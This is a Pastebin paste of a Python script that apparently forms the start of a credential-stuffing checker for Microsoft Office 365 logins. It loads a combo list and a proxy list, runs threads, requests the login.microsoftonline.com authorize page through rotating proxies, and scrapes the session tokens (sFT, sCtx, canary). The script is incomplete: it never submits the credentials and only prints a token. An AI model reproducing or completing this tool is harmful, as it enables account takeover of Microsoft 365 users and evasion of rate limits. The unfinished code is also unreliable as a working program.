Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import threading
- import ctypes
- import random
- import time
- from threading import Thread
- req = requests.Session()
- threadc = 1
- def divide(stuff):
- return [stuff[i::threadc] for i in range(threadc)]
- def main():
- combo = open('combos.txt','r', encoding='utf-8', errors='ignore').read().splitlines()
- proxies = open('proxies.txt','r').read().splitlines()
- proxies = [{'https':'http://'+proxy} for proxy in proxies]
- for line in combo:
- headers1 = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
- 'Pragma': 'no-cache',
- 'Accept': '*/*'
- }
- x = ''
- r = req.get('https://login.microsoftonline.com/common/oauth2/authorize?client_id=4345a7b9-9a63-4910-a426-35363201d503&redirect_uri=https%3A%2F%2Fwww.office.com%2Flanding&response_type=code%20id_token&scope=openid%20profile&response_mode=form_post&nonce=637303277165345962.NmRmMmNlNDctZWUxMC00MmRkLTg5NjMtZTBhMmI2M2NlOTBhYzJmMmNkMzktNjYzYi00Njk0LWFkYzctMTNmMmZmNWRlZDBh&ui_locales=en-US&mkt=en-US&client-request-id=d3e418b8-308e-4491-bad8-0ac3f4b5cfdd&state=5DouHr5AOO1yxDS6OfWt3UALMTZ2RHHNVLBABRMsbN62-RdmJyWh6IMOgq4rD9ZWoVe0b5ftF3vAD81Xk9EBreyY9xjaX9ZmMz_t_VzOLeB2dCWUhYmwI_2_lthhm1msyZo1W2Sk8d3o9qS4IQy_oGS6yU1FCn3hmfnYuP5TmrTL6FSscYfWWJeTObJ-JOZ8UMhxjseMNiVBEa9Fq4SeJli4YliQoBBJU6RNawWezt4YLvN3W-CHN4LYxQsJLOFXqEzXJEF5aHv01myuS5-zwg&x-client-SKU=ID_NETSTANDARD2_0&x-client-ver=6.5.0.0', headers=headers1, proxies=random.choice(proxies))
- idd = r.headers['x-ms-request-id']
- f = r.text.split('"sFT":"')[1].split('","sFTName"')[0]
- c = r.text.split('"sCtx":"')[1].split('","iProductIcon"')[0]
- x = r.text.split('"canary":"')[1].split('","correlationId"')[0]
- print(x)
- threads = []
- for i in range(threadc):
- threads.append(Thread(target=main))
- threads[i].start()
- for thread in threads:
- thread.join()
Advertisement
Add Comment
Please, Sign In to add comment